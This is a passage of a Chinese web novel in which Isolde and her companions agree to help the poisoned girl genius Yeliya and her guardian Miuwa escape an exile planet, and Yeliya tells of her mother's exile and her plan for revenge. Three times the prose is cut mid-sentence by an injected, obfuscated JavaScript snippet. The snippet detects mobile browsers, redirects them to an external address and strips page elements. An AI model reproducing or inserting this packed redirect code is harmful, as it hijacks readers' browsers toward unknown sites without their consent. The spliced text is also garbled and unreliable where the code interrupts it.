“确实呢。”被当作人质的阿尔法出声赞同。 女人:“......” 灰百合:“......” 灰百合不敢置信:“你同意个什么劲啊?!” 要不是为了把她要回来,她们至于现在还站在这里跟女人谈判吗?——虽然好像也算不上谈判,伊索尔德和女人的脑回路都有点神奇过头了,苏珊隐约觉得她们好像对上了彼此的频道。尽管目前还没有爆发武力冲突,但光是这一点,也很可怕。 “感觉她说的很有道理,一不小心就...”阿尔法捂住脸,“对不起。” 以及,这只人偶的脑回路也很神奇。 “你的同伴有点特立独行。”女人说。 伊索尔德面无表情地盯着阿尔法看,直把人偶看得双眼紧闭,放空大脑:“她脑袋有点问题。这种人质没什么必要挟持,稍微给她两颗糖就会跟着跑了。对吧?” 阿尔法不吱声了。 “唉。”伊索尔德叹了口气,“我们去哪里喝酒?事先说明,我只喝甜的。” —— 女人把她们带到了村落里面,这里的人都住在地下,地面开的洞口只是出入口而已。 她走在前面,似乎一点也不担心偷袭。从黑色森林到村落有一段距离,她一边带路,一边自我介绍:“我是缪瓦。” 非常简短。 灰百合:“没了?” 缪瓦:“没了。” 简短过头了啊??? 灰百合立刻扭头看伊索尔德:“不可以直接把阿尔法带走吗?这里怪人太多了!” 伊索尔德:“她在阿尔法身上放了奇怪的东西,擅自拿走的话会爆炸。”她皱眉,对阿尔法,“你当时为什么不用更坚固的材料做人偶?” 要不是陶瓷人偶扛不住爆炸的冲击力,她刚刚就直接出手了。 被质疑了家传手艺的阿尔法假笑:“不好意思啊,我们家族传统就是用陶瓷做人偶。谁能想到这个世界这么水深火热啊,这难道是我的问题吗?”谁能想到在家睡个觉也能穿越,早知今日,她一定去选修材料研发与应用,争取成为一个用防爆材料做战斗人偶的人才。 伊索尔德很宽容:“我家里还有化学书,回头给你看。” “我不会说谢谢的。”阿尔法说,“你刚刚绝对在嫌弃我的手艺。” 王虫欣然道:“只是希望你更有创新。应该叫催人奋进。” 缪瓦停下脚步,没想到她们走个路也能拌嘴。她左看看右看看,感慨道:“你们关系真好啊。” 阿尔法:“好吗?” 伊索尔德:“嗯。” 灰百合干笑:“哈哈...大概吧...” 村落的轮廓在不远处若隐若现,伊索尔德看了看缪瓦,又看了看村落:“不进去吗?” “嗯...太配合了。”缪瓦说,“你们没有什么阴谋吧?” “这话反了吧,应该是我们问你。”灰百合说,“如果不是你横插一脚,刚刚我们就该离开这里了。” “对不起,我的错。”缪瓦从善如流,“但是我有很重要的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951371|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情想拜托你们,请原谅我。” 她说的是帝国的语言,每一句后面都加了一大串敬词,灰百合听得浑身不舒服。 “想让我们带那个孩子出去吗?”伊索尔德冷不丁说。 缪瓦明显愣住了:“你怎么...你看到了?” 伊索尔德有一双太剔透又太美丽的眼睛,假如说这双眼睛附带点什么特殊功能,缪瓦也不会觉得太奇怪。不如说,这样才显得比较正常。 那双眼睛如同翡翠,又如同湖泊。因为太冰冷无情,以至于被注视着的时候,很容易让人产生自己的灵魂都被看穿的感觉。 “在地下室里。”开启了一瞬间第二视觉的王虫陈述事实,“她要冻死了。” 她看到那个生命体的边缘出现了灰白的色彩。 缪瓦闻言大惊,立刻抛下她们往村落里飞奔,她住在村子的最中心,开在地面的洞口也是最宽阔的。洞口下面是一条倾斜的长长坡道,连接着日常生活起居的地方。缪瓦急切地跑了下去,推开了最里面的门,伊索尔德不紧不慢跟在她身后,一个气息微弱的女孩出现在她们面前。 女孩靠坐在床边,双足浸没在滚烫的热水里。她身上披着很厚的被褥,还有披风斗篷一类的东西叠在上面试图为她增加热量。即便如此,她看起来依然很冷,一直在不停地发抖。 “缪瓦...”她轻声说,“是有人来了吗?” 她抬起头,露出一双空洞无神的黑色眼睛。 这是个眼盲的人。 伊索尔德帮缪瓦把门合上了,冷风被关在门后,女孩看起来稍微好了一点。 “是外来者。”缪瓦紧张地去摸她的额头,只摸到一手的冷汗,“怎么醒了?不是说让你好好休息吗?” 女孩的嘴唇苍白到没有血色:“听到你的脚步声了。” 缪瓦把她拢在怀里,将自己的体温传递给她:“你继续休息,我带她们去外边。” “缪瓦是不要我了吗?”女孩异常敏锐地发问,“你想让她们带我走?” 女人沉默了会儿:“你必须得去找医生看病了。”她有些焦虑,“你不能死,你的病真的不能拖下去了。” 女孩偏过头,安慰她:“过几天就好了,不会有事的。过去不都是这样过来的吗?这不是病。” “不是病,是毒。”伊索尔德开口,“你以前其实是看得见的吧?” “嗯。”女孩看起来对自己的身体状况早有预料,听到中毒的消息也十分平静,她轻柔地笑了一下,“十二岁的时候生了一次病,从那之后就看不见了。” “你不想被治疗吗?”灰百合插嘴,“现在科技还挺发达的,你身上的毒很好解。” “我知道。”女孩直直看向她们的方向,“但是毒可以解开,命却不一定能留下。” “什么意思?” 女孩风轻云淡地说:“意思就是,如果没有这种毒,我应该早就死了。我四岁的时候中了无解的毒,医生用以毒攻毒的办法帮我把毒压下去了。”她咳嗽了两声,“一种没有解药,另一种解开就会瞬间暴毙而死。很显然,找医生也派不上什么用场。” “呃,那直接换个身体呢?”灰百合绞尽脑汁,“或者换血什么的。” 女孩有些惊异地看了它一眼,声音放得柔和了些:“谢谢你,但是我的身体很脆弱,大部分医疗手段都对我没有效果。” 科技的发展并非没有副作用,这个世界上的确存在极少数群体,对特定的依托于科技的医疗手段过敏,严重的甚至会因此死亡。她们身上遗留着旧时代的影子。 “看来你们之间存在分歧,”伊索尔德说,“但她抓走了我的同伴,威胁一定把你带出去,要不你们彼此商量一下,给我个结论?” “对不起。缪瓦很容易冲动。”女孩满怀歉意,“我这就让她把你的同伴还给你。” 她转过头去看缪瓦——尽管后者并没有发出一丝一毫的响动,她依然精准无比地从在场所有人中找到了她的所在地。 “缪瓦。”她平静地叫了一声女人的名字。 缪瓦的脸上出现挣扎的神情,她看起来非常不情愿,但是也同样不愿意违背女孩的意愿,种种神情在她脸上闪过,一时间精彩纷呈。 “我做不到。”她咬着牙拒绝了。 54.耶莉娅 缪瓦的拒绝显然超出女孩预料,她愣了一下,不引人注目地皱了一下眉头。 “抱歉。”她对伊索尔德她们说,“可以请你们先出去一下吗?我有点事想跟缪瓦谈谈。” 非常委婉的说法,大概是在考虑要怎么说服固执的朋友…或者同伴?苏珊没找到特别符合她们两个的关系,女孩和缪瓦的相处模式很古怪,说是朋友,又好像有点上下级的意思,说是相依为命的同伴…似乎又没到那个份上。 不过女孩是当家做主的那个还是能看出来的。她从头到尾都很淡定,脸上表情都没怎么变过,显然觉得目前为止的发展还在掌控之中。 要苏珊来说的话,她有一张看起来就很聪明人的脸。 听到女孩的话之后,伊索尔德也没有过多纠缠,相当善解人意地去外面了,把谈话空间留给里面的两人。 这里的空间不算太大,除了女孩待的那个明显是卧室的房间以外,只有一个客厅和一个关着门的房间。 门上挂着招牌,上面歪歪扭扭用看不懂的语言写了一行字。伊索尔德扫了一眼就没过多关注了,她开始在客厅里转悠起来。 客厅很拥挤,在这种物资匮乏的地方也谈不上什么装修风格,这里从地板到天花板都堆满了各种东西:衣服、电路板、焦黑的数据硬盘、一张不知道怎么塞下的桌子以及一个看不出来用处的工具箱… 食物应该在另外的地方存放,除了两个单人座沙发之外,这里看起来完全就是杂物间,非常单调。 伊索尔德轻巧地绕过障碍物,走到了那张桌子前。 桌子不高,只到她膝盖上面一点,边沿贴着有点鼓胀的玩具贴纸,配色很童话,像儿童款。 她根据缪瓦的身高估算了一下,确认这张桌子的使用者应该是那个中了毒的女孩。 杂七杂八的笔记本堆在桌子的右边,几支开了盖的签字笔滚落到了地上,一叠写满了数字和符号的草稿纸被玻璃杯压在下面,透过完全干涸的水面,伊索尔德看到了被折射扭曲的文字。 都是些专业术语,跟空间折叠和跃迁有关,看起来像理论完成、只等实践的阶段。草稿纸最下面有人颇有童心地画了个笑脸,附上一句“完成!”的结束语。 “这不是根本不用我帮忙吗?”她嘀咕了一句,顺手把地下的笔捡起来,盖好笔帽,规整地放进凹槽里。 苏珊模模糊糊听到她说话,不明白为什么伊索尔德忽然就开始帮忙整理起桌面来了:“什么?” “那个女孩,她已经找到能出去的办法了。”伊索尔德示意它去看草稿纸,“这是跃迁的公式,理论计算已经完成了,不出意外的话,等到空间裂缝出现,就能离开这里。” 苏珊只是一朵百合花,对科研方面很懵懂,不是很明白空间跃迁的含金量。伊索尔德对此更了解点,毕竟机甲师什么都要懂一点,这样给动力源附加属性说不定就有灵感了。 “那缪瓦为什么还想让你带她出去?” 能自己出去肯定比路过抓陌生人威胁更有安全性吧,万一这个陌生人带她们出去之后越想越气,干脆一怒之下把她们都杀了怎么办?缪瓦武力值可能比较高,但是那个病弱的女孩子,不是苏珊说她坏话,光看表面她就很容易死掉。 “因为这个方法只能让缪瓦出去。”伊索尔德看得很清楚,“她的身体本来就很差,有防护服和定位仪做缓冲的情况下都很容易出现意外,用这种方式跃迁的话…马上就大出血死掉也不奇怪。” 她的目光一一扫过桌面,除了跃迁之外,还零零散散分布着一些被拆卸下来的金属零件和已经半组装完成的模型。 缪瓦身上的隐形衣应该也是她做的,被困在这种地方都能做出可以屏蔽王虫级别感知探测的东西…… 是个了不起的天才呢。她想。 “所以是那个女孩子想到了办法让同伴出去,决定自己留下来吗?然后缪瓦又想让她出去,所以绑架了阿尔法……”灰百合感动了,“她们都是好人啊!” 伊索尔德:“……” 伊索尔德根据自己看的那么多小说漫画提出了质疑:“不对吧…普通人是这种反应吗?” 不管理由是什么,得知同伴被绑架都应该生气吧?话说,苏珊刚刚看起来确实挺生气的,怎么忽然一下子…啊,大概只是在生气阿尔法帮着绑匪说话,对缪瓦没什么特别感想。 苏珊回答得很理直气壮:“我们这里有谁是人吗?” 伊索尔德思考。 伊索尔德肯定:“说的也是。” “总之差不多就是这样吧,事情已经弄清楚了 ,接下来就看她们聊天的结果,”说到这,伊索尔德深深叹了口气,“等把阿尔法拿回来之后,我一定要让她去开发防爆材料人偶…她应该可以换身体的吧。” 苏珊也不确定:“…可以吧?到时候问问就知道了,啊!她们出来了。” 缪瓦推开门走了出来,女孩还坐在房间里面,她身体已经差到不能移动了,因此只能在缪瓦身后歉意地笑了一下。 绑匪很不情愿地把阿尔法双手递了过来:“对不起。还给你们。” 伊索尔德把阿尔法放回自己肩膀:“没关系,原谅你了。” “诶?就代替我原谅了吗?”阿尔法一边调整自己的位置,一边问。 “因为我觉得她们的理由你听了之后也会原谅,”伊索尔德沉吟,按照阿尔法的模式思考了一下,“说不定你还会想拜托我把她们带走。” “什么理由?说说看。”阿尔法坐好了,兴致勃勃地说。她看起来精神奕奕,一点都没有刚刚被绑架的感觉。考虑到她军火商的职业定位,说不定这种事对她很正常吧。 苏珊简短地给她解释了一遍,阿尔法听完果然泪眼汪汪的:“可以带她们一起走吗?如果不行的话……” 她没说完,被伊索尔德打断了。 伊索尔德说:“可以。” 缪瓦猛地抬起头来:“真的可以吗?!”本来都快要被迫放弃这个想法了,结果突然一下子峰回路转,大脑一下子有点没转过来,下意识就脱口而出了。 阿尔法很惊喜地说:“你答应了啊!” “我不讨厌这种。”伊索尔德说了下自己的发现,“十四岁的孩子能做到这个地步是很厉害的。而且你们很讨厌帝国吧?我家里也不喜欢她们,帮一下也没什么,还能顺便给帝国添堵。” 虽然不知道女孩和缪瓦是怎么被流放到这里来的,但是帝国显而易见并不知道女孩的价值,不然根本不可能放任她留在这里自生自灭,肯定早就绑架回帝国科学院想办法让她给他们干活了。 敌人的敌人就是朋友,伊索尔德还挺乐意看到帝国被自己放走的猛虎咬伤的——那个女孩子看起来就不像是不记仇的。 虽然没忍住一下子把心声说了出来,但缪瓦再三确认之后,还是去征求了女孩的意见。后者好像也有点吃惊,不过听到伊索尔德的理由之后,反而放下心来,关注点直接偏移到了奇怪的地方。 “你能看懂那些东西吗?” 不仅关注点很奇怪,还展现出了超出伊索尔德想象的、遇到同道中人的热情。 “嗯…”伊索尔德有点招架不住,“我老师喜欢研究这些,稍微懂一点。你需要的话,我可以把她的联系方式给你。” “好呀好呀。”女孩快乐地点点头,她很兴奋,脸颊红通通的,没有像之前一样绷出远超年龄的冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954653|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静姿态。 这时候她看起来终于像个小孩子了。 “那你们收拾一下吧。挑个时间我们就离开这里。”伊索尔德从自己的镯子里拆下来一颗空间钮放到桌子上,“这个是空间纽,把想放进去的东西放在旁边就好,用起来很简单。我在外面等你们。” 她从房间里离开,退到了客厅里。 房间里传来乒乒乓乓收东西的声音,阿尔法在外面跟她们讲起刚刚里面的情形:“那个女孩子,我听到缪瓦喊她大小姐诶…感觉以前是贵族的样子。难道是逃难主仆?” “说不定?”灰百合思考,“帝国的贵族还挺多的。被流放的也挺多的……” “基数摆在那里嘛。”阿尔法附和了一下,继续讲房间里发生的事,“其实她也没有讲什么,就是简单描述了一下缪瓦的行为,然后反问你觉得这样做是对的吗…之类的,接着缪瓦就开始挣扎,她看到缪瓦在动摇,又说爸爸妈妈看到你这样也不会开心的。最后缪瓦就被说服了。” 苏珊震撼:“完全没有做好思想准备就不要随随便便绑架啊,万一遇到坏人怎么办?” 伊索尔德复述了一遍它刚刚说过的话:“我们这里有谁是人吗?” 虽然说的是实话,语气平淡,配上她那张脸,讽刺意味拉满。 苏珊讪讪。 “这也侧面说明她们是好人嘛…”它努力给自己描补,“你看,都根本没有怀疑我们是坏蛋,就很坦然地决定跟我们一起走了。这是对我们品行的肯定。” 伊索尔德奇怪地看了它一眼:“因为再坏也坏不到哪里去了啊。” 最坏的结果也就是死掉,但她们现在本来就在濒死边缘,还不如赌一把呢。 “……也是哦。” “说起来,你怎么知道她十四岁的?”阿尔法好奇这个很久了,毕竟女孩看起来就很营养不良,说她只有十岁也会有人信的,但是伊索尔德就很肯定地直接报出了具体的年龄,缪瓦她们也没反驳,应该是说对了。 “这种事情还需要想吗?一眼就看出来了。” 虫族的第二视觉除了能够分辨“本质”的颜色之外,还可以根据颜色深浅程度判断骨龄,虽然女孩看起来是很瘦弱,但是骨头不会说谎。 阿尔法没见过伊索尔德的第二视觉,陷入了沉思:“这要怎么看啊…” “眼睛。”伊索尔德的手指在自己眼下点了点,“你就当我眼睛比较特殊吧。” “X光?” “…你们的世界居然已经有X光了吗?” 看图书馆里的情报还以为停留在蒸汽时代了,结果居然有发展科技吗? “呃,刚出现不久啦。一个医生弄出来的。” “你就那样理解也可以吧。”伊索尔德说,“虽然本质上不是那样的…” 话音刚落,缪瓦和女孩已经推开门走出来了,她们两手空空,空间纽用一根绳子穿起,挂在女孩的脖子上。 “让你们久等了,不好意思。”女孩很礼貌地先寒暄了一下,“如果没有意外的话,我们明天离开可以吗?” “今天不行吗?” “虽然我也很想现在就走…”女孩叹了口气,“但明天是固定的检查日,守卫军会来收缴这一季度的光曜石,少了两个人的话,很容易被发现的。” 不管怎样,至少也得先把明天糊弄过去才行。 “没问题。”伊索尔德答应了,“我的名字是伊索尔德,这是苏珊和阿尔法,你的名字是什么?” “耶莉娅。”女孩似乎很久没有跟人说过自己的名字了,发音的时候,甚至有些艰涩。 她小小微笑了一下,看起来天真而可爱:“我的名字叫耶莉娅!” 55.地图 耶莉娅是个体贴的好孩子,考虑到离明天的检查日还有一段漫长的时间,她让缪瓦拿来了一份手绘地图,准备给伊索尔德等说了一下无名星球的概况。 “这也是为了明天做准备。”她很慎重,“并不是不相信你们的意思,只是你们对这里一无所知,未免出现什么意外,还是多了解一点比较好。” “我没意见。反正现在也很无聊,就当打发时间了。”伊索尔德淡定点头,顺便向她伸出手,“手伸出来。” “诶…?哦。好的。”虽然不知道为什么,但耶莉娅还是很听话地把手递到了伊索尔德面前,因为不确定她指的是哪只手,干脆双手都伸出来了。 经年累月渗入身体每个角落的毒素让她异常惧怕寒冷,仅仅是伸手这个动作,都让她颤抖了一下。 缪瓦在一旁看得想说什么,又忍了回去。 伊索尔德把她的手握住,不易察觉的精神力缓慢波动起来,耶莉娅的脸色好受了些。 她很惊异:“这是?” “还冷吗?” “很暖和…”她喃喃,“我从来没听说过这种事。” 宇宙之大无奇不有,但也没听说过存在仅仅是接触就能够让病症好转的人,莫非这是某种异能吗?但据耶莉娅所知,越强大的异能发动条件就越苛刻,而伊索尔德看起来什么都没做。 天才的脑子转得都很快,尽管想了很多,但在现实里也仅仅过去了几秒钟。她最终没有追问下去,只是很诚恳地对伊索尔德表示了感谢。 “等离开这里之后,我一定会报答您的。”她用了敬语。 “先活下去再说吧。”伊索尔德不经意笑了一下,“嗯,这个姿势不太方便。”她放开了耶莉娅的惯用手,在精神力的温暖下,耶莉娅久违地获得了自由行动的能力。 “开始吧。”她看起来很平静,似乎什么也不在乎。不管是耶莉娅本身出现在这里的原因,亦或者是这颗星球上即将发生或正在发生的一切。 耶莉娅觉得,如果不是因为自己提出要先把检查日应付过去,她可能早就已经离开了。 自由而无所畏惧,强大而随心所欲。 她一边将地图在桌面上摊开,一边觉得有点羡慕。很快,这点羡慕又变成了向往,她已经很久没出去过了,不知道外面的世界是什么样子的,希望自己有一天也能像伊索尔德这样。 手绘地图上标注了密密麻麻的符号,耶莉娅坐在伊索尔德旁边,开始给她们讲起这上面的故事来。 “A-01山脉之后的地方是禁区,那里用防护罩进行了封锁,根据之前的经验判断,很可能是守卫军固定降落的地方。如果可以的话,最好不要接近。” “好圆的一个洞。”阿尔法大为震惊,“所以他们在这里有基地但是却并没有驻扎在这里吗?上面不管的吗?” 耶莉娅“呃”了一声:“我听说会来这里执行任务的人,貌似都是大家族里不被看重的子弟…” 因为在家里不受重视所以就被随便丢到这种不重要的地方了,但又因为家里确实有些地位,所以上面也对这种偷懒行为睁一只眼闭一只眼。 阿尔法懂了。 阿尔法:“所以这里不仅是罪犯的流放地,还是贵族的流放地。” 耶莉娅:“…虽然这么说也没错。” 但这两种流放显而易见不是同一种待遇就是了。 耶莉娅几句结束这个话题,又开始继续对着地图讲解,手指随之在上面移动,挪到一个巨大的黑色区域上面。 “A-02湖泊是目前已知的唯一可饮用水源,它被机械警察控制着,只有在检查日的时候才会被打开。不过机械警察平时都处于休眠状态,只要不靠得太近就没问题。” “为了偷懒连机械警察都不开吗,腐败程度远超想象啊。” “不管他们在哪里驻扎,中枢系统肯定是跟机械警察链接着的,如果是不想被打扰的话,不开其实也能理解,”苏珊用纨绔子弟的思路思考了一下,豁然开朗,“万一随随便便发警报结果到了一看什么事也没有会觉得不高兴吧。可能一开始还是开着的,次数多了就直接关掉了。” 缪瓦赞同地看着苏珊:“这位小姐很有眼力。”这么快就摸清楚守卫军的想法,是个人才啊。 “啊哈哈,我不是小姐啦。”它笑,“只是用了伊索尔德的声音而已,叫我苏珊就好。” 耶?科研天才?莉娅忽然目光灼灼看着它:“请问能告诉我这是怎么做到的吗?稍微说一下原理也可以,听起来很不可思议。” “嗯?嗯…”苏珊愣了一下,“长大就会了…我是植物啊,没有发声器官,所以只能采样其他的声音。”它又努力思考了一下,“可能类似于收音机?” 反正都是录下声音再播放,区别在于它用得比较熟练而且可以自主调节音调语气,原理应该差不多吧。 不过会不会误导耶莉娅啊,毕竟这个孩子看起来是真的很喜欢科学,虽然她桌子上那堆东西它也看不懂,但是伊索尔德都说她是天才了…… 钻牛角尖的天才好像杀伤力还挺大的。 想到这里,它很迅速低头:“对不起我乱说的,其实我也不知道。” 耶莉娅肉眼可见失望,灰百合觉得自己不存在的良心都开始隐隐作痛。 “跟异能是差不多的东西。”伊索尔德替它回答,“科技手段无法复原。” “啊,这样啊…”耶莉娅看起来还是有点不甘心。 伊索尔德看了她一眼:“你是有植物朋友吗?为什么这么执着于植物说话这件事。” “植物朋友什么的我没有啦,我只有缪瓦一个朋友。”耶莉娅脸红,有些不好意思,“但是我觉得我以后肯定会养很多植物的,所以想知道是不是所有植物都能说话…” “肯定不行啊!”苏珊第一个跳了起来,“我是精灵族的花才有这种功能的,普通的花花草草怎么可能做得到。 “诶?你是精灵族的?”阿尔法震惊,“从来没听你说过啊。” “这种事有什么好说的?相处久了自然会懂…等一下,你不知道我是精灵族的为什么那么坦然地接受了百合花会说话这种设定?” “我以为是你们这个世界的特色。”阿尔法沉思,“你们都有幻想种了,花会说话也不是很奇怪吧。” “这又不是童话世界!” “不是吗?”阿尔法的目光在室内扫视一圈,“你看,会说话的百合花,离家出走的少女,被流放到无星带的大小姐以及她的同伴,还有我。” 她用了陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14967199|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 述的语气:“怎么看都像奇幻小说吧?” “我不是离家出走。”伊索尔德无视其他被列举出来的例子,单单就自己的那条进行了反驳,“我是在游学啊。游学期间不能接受家里的帮助而已。” 阿尔法困惑:“这跟离家出走有什么区别?” 伊索尔德:“区别在于我可以跟塔纳斯通讯。” 苏珊:“等下,话题跑偏了。我们不是在讲地势分布吗,不要自顾自跑到十万八千里之外的地方。” “是在说植物为什么会发声。”阿尔法把话题拐回上一个,“不过继续讲地势也可以,我没意见。” 伊索尔德点头。 知道无法复刻苏珊那样的能力之后耶莉娅也收拾了一下心情,快速把重要的部分都过了一遍。 “……这里是矿脉。这里是钻井,这里是二次加工的地方。守卫军允许采矿的人用定额外的光曜石换取名单外的物资,上缴数量多的话还可以得到奖励。” “有人得到过吗?” “没有。”耶莉娅说,“要求的数量太多了,光是完成定额就已经精疲力尽,还要算上因为挖矿受伤不得不休息的时候,大家的日子都过得紧巴巴的,每年都会死好几个人。” “而且这颗星球的重力系数很高,对没有配置外骨骼的普通人来说,挖矿是个非常消耗体力的行为,日常生活也会很吃力。我不太出去,但是缪瓦说这些人来到星球的时间跟我们不太一样,他们似乎是…大清洗时期来到这里的人。但是具体罪名不明。” “嗯?怎么了,你们怎么这个表情,”她有些忐忑,“是哪里不明白吗?” 伊索尔德没什么特别的反应,倒是苏珊和阿尔法小声交流了几句。 听到耶莉娅提问之后,阿尔法和苏珊对视一眼。 “不…没什么问题。你说得非常清晰易懂。”灰百合有点茫然,“只是,我可以问一下吗,为什么这些山脉地形都是对应的编号?没有名字吗?” 刚开始还好,但听多了就觉得有点古怪,让它恍惚以为自己在看的不是地图,而是研究员在介绍实验室设备使用方法及注意事项。 耶莉娅松了口气,有些羞涩地笑了:“抱歉,这是我的取名习惯。” 缪瓦也在一旁作证:“大小姐从小就泡在实验室里,比起名字,她更熟悉数字和编号。” “而且这颗星球上并没有被记载在官方地图中,我们连这颗星球的名字都不知道。”也就更别提星球上面别的东西了。 “这种情况倒是不少见,”伊索尔德若有所思,“我能理解为什么帝国想隐蔽这种地方,但你们为什么会在这里呢?” 帝国对流放和重刑犯相关自有一套准则,而以伊索尔德对他们的了解来看,耶莉娅和缪瓦并不符合其中的标准。 她说:“即便是重刑犯,你们也根本就不应该来这里。是出了什么意外吗?” 缪瓦僵住了。 耶莉娅叹了口气:“我来说吧。” 她把已经讲得差不多的地图卷起来收好,房间里点着昏黄的油灯,倒映在她眼中是,宛如跳跃的烛焰。 “被判处流放之刑的是我的父母。” 她静静地说:“我和缪瓦,是作为罪犯的亲人一同被流放到这里来的。” 56.耶莉娅的过去 “每个出生在帝国的异能者成年之后都会前往军队服役,我和缪瓦的父母同样如此。由于异能的随机性,强力的攻击性异能是很少见的。也因为这个原因,她们并没有脱离军队,而是在结束了兵役之后留在了那里。” 耶莉娅的语气很平淡,像在讲一个与自己无关的故事。 “缪瓦比我大六岁,我刚出生时,她的父母正好成为了我母亲的副手,出于某些很复杂的政治博弈与庇护,她最终绕开了帝国的制度,作为名义上的侍女来到了我的身边。我们是一起长大的。”她似乎笑了一下,“在那之后,也一起被流放了。” “流放的理由是?” “母亲叛逃了。”耶莉娅静静地说,自从开始讲述这过去的事情,她似乎就进入了一种奇异的状态,她将自己包在了壳里,以此将自己与故事的主人公分割开来。 “帝国的上层搞砸了一件很重要的事情,而我的母亲作为替罪羊承担了后果。但她的性格很…”她停顿了一下,“直率。” “她无法接受自己效忠宣誓的祖国会这样轻率地将她打为叛徒,于是一怒之下,她在回到帝都的时候带着我和缪瓦逃走了。那时候我四岁。” “四岁…你中毒的时候?” “嗯。”耶莉娅说,“帝国生物研究所刚刚开发出来一种新型毒素,追杀我们的人恰巧携带了相应的药剂,我被误伤了,但是母亲没事,所以最后还是成功带着我们离开了帝国的控制范围。” “那之后,母亲去当了星盗。大概过了三年吧,”她算了算,“她偷偷返回了帝都,被抓住了。” “然后,我和缪瓦也被埋伏好的军队抓住,被送到这里来了。” 阿尔法不解:“她为什么要回帝都?她不是应该很讨厌那里吗?” “是因为我身上的毒。”耶莉娅无奈地说,“我当时快死了,帝都那边有人骗她说研究所做出了解药,她没有办法。” “她死了吗?” 耶莉娅静了下。 “我不知道。”她有些茫然地说,“她也许还活着吧,母亲的异能是很好用的,可能会因为这个原因被留下来。更何况帝国有很多洗脑的办法,也许她已经变成了自己最讨厌的兵器,不记得我了。” 伊索尔德的手上还在源源不断地传来温暖,耶莉娅却好像很冷一样,又把自己缩进了斗篷里。 “我希望不要那样。”她很小声,“我希望她…” 能够像自己设想过的那样骄傲地死去。 这句话她没说出来,只是渐渐沉默了下去。 “那你之后想做什么呢?”苏珊问。 “…先找个安全的地方落脚,积攒自己的力量,然后去调查母亲的去向,”耶莉娅认认真真说起自己这些年在心里想过无数次的计划,“母亲是不会寂寂无名死去的,哪怕是被抓住,她也一定在档案室里面留下了记录。” 档案室是太阳帝国的遗产,它是强人工智能的具象化,与主脑的数据库链接,记录了帝国自建立起来的所有情报。 那里面不仅记录了耶莉娅的母亲,还记录了她的仇敌。 “拿到记录,报仇,然后,我就去做我喜欢的事情好了。”她苍白的脸上绽放了一个小小的笑容,很高兴的样子,“入侵主脑不是什么很困难的事情,我肯定会赢。” “扫尾部分呢?”伊索尔德指出了这个计划的缺漏,“你没有想过被发现要怎么办吗?” 耶莉娅目光闪烁:“总有办法的。” “你只是单纯没想而已吧。”阿尔法也看出来了,“带着同归于尽的心态去复仇不是什么好事,一不小心就会把自己玩脱。我见过很多这样的人,他们最后离成功只有一步之遥。那很亏诶。” “嗯…嗯……”耶莉娅支支吾吾,“我没有这样想呀,我只是还没有想好而已。” 苏珊看着阿尔法指指点点的样子,思维一下子跑偏了:“你怎么好像很熟练?” 阿尔法“呃”了一声:“家族传统。我们那边都这样。” “她知道你的计划吗?”伊索尔德转过头去看一直没有出声的缪瓦,她端详了一会儿缪瓦的神色,得出了结论,淡淡道,“所以这是你们两个一致同意的复仇计划。” 缪瓦点了点头。 伊索尔德叹了口气。 耶莉娅一下子紧张起来,虽然她也不知道自己为什么要紧张。 耶莉娅:“怎么了吗?” 伊索尔德:“你能不能别死。” 好直白,耶莉娅震惊。 “我,我努力?”她试探道,“不过是为什么呢?” “你之前说要报答我吧,”伊索尔德盯着她,耶莉娅点了点头,表示自己还没忘记刚刚说过的话,“其实我都已经想好报酬是什么了,你很擅长科研嘛,所以我想让你研究一下穿越世界要怎么办…结果你竟然已经规划好了怎么死了。我的时光机怎么办?” 伊索尔德用谴责的目光看她。 耶莉娅正襟危坐,觉得自己大概可能也许有一点点过分。但即便如此,作为研究人员的专业素养依然在提醒着她一件事。 “时光机是不可能的。”她小小声说,“没听说过这种东西。” 伊索尔德把阿尔法从肩膀上摘下来,放到耶莉娅怀里。耶莉娅跟阿尔法大眼瞪小眼,她看看这个会说话的人偶,又看看伊索尔德,脸上写了一行字,叫做“这跟时光机有什么关系”。 “她是异世界来的人类。既然她都能来我们的世界玩,那我们应该也可以去她的世界玩吧?”伊索尔德碎碎念,“但是研究这个太麻烦了,找人也很麻烦,还要提防其他人盯上异世界打破平衡,最方便的办法是找一个擅长这方面的聪明人拉一个保密项目,做完就解散。本来想拜托你的,不可以吗?” “……说不定她不是异世界来的,只是你认错了?”耶莉娅迟疑地看着人偶,觉得不管怎么看,都看不出来一点异世界的影子。她还是觉得时光机这东西有点离谱,属于拿去做计划书拉投资会被骂很惨的程度。 “是真的。”伊索尔德作证,“平行时空理论啦。我觉得跟跃迁差不多吧,只不过一个是本世界跃迁,一个是异世界跃迁。” 耶莉娅欲言又止,这个…还是差挺多的吧。 